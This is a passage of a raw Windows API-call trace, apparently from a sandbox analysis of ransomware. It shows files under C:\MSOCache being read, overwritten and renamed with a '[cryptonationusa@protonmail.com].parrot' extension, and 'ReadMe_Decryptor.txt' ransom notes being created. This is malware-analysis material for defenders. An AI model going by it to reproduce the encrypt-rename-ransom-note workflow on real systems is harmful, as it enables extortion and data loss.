SetLastError (dwErrCode=0x0) [0053.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0053.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0053.946] GetLastError () returned 0x0 [0053.946] SetLastError (dwErrCode=0x0) [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.946] GetLastError () returned 0x0 [0053.946] SetLastError (dwErrCode=0x0) [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x55df08 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x3890048 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0053.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf) returned 0x5f4c88 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0053.946] GetLastError () returned 0x0 [0053.946] SetLastError (dwErrCode=0x0) [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0053.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.947] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d0920 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x562228 [0053.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0053.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x63e990 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0053.948] WriteFile (in: hFile=0x294, lpBuffer=0x63e9a0*, nNumberOfBytesToWrite=0x1188, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x63e9a0*, lpNumberOfBytesWritten=0x235f1e8*=0x1188, lpOverlapped=0x0) returned 1 [0053.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0053.948] UnlockFile (hFile=0x294, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1187, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.948] CloseHandle (hObject=0x294) returned 1 [0053.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0053.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1708 [0053.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0053.949] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x540000) returned 1 [0053.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0053.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890048 | out: hHeap=0x540000) returned 1 [0053.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0053.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0053.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0053.951] GetFileType (hFile=0x294) returned 0x1 [0053.951] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.109] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5daca0 [0054.109] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf25a1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf25a1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xae8fab20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe220e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLKL~1.PAR")) returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.110] lstrcmpW (lpString1="OutlkLR.cab.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1708 [0054.110] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaef60640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb18, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~1.PAR")) returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.110] lstrcmpW (lpString1="OutlookMUI.msi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1610 [0054.110] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf1c1c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~2.PAR")) returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.110] lstrcmpW (lpString1="OutlookMUI.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1800 [0054.110] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae9b9200, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xae9b9200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3d6f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.110] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.110] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf25a1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1188, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.110] lstrcmpW (lpString1="Setup.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0054.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f18f8 [0054.111] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf25a1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1188, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0054.111] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc998 | out: hHeap=0x540000) returned 1 [0054.111] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0054.111] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0054.111] lstrcmpW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fc998 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fca20 | out: hHeap=0x540000) returned 1 [0054.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fca20 [0054.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0054.112] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5dad20 [0054.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.196] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.311] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.311] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.311] lstrcmpW (lpString1="Setup.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0054.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0054.312] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x978 [0054.312] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa90, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.312] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.312] ReadFile (in: hFile=0x2b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0054.313] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.314] ReadFile (in: hFile=0x2b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x978, lpOverlapped=0x0) returned 1 [0054.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0054.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0054.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0054.316] 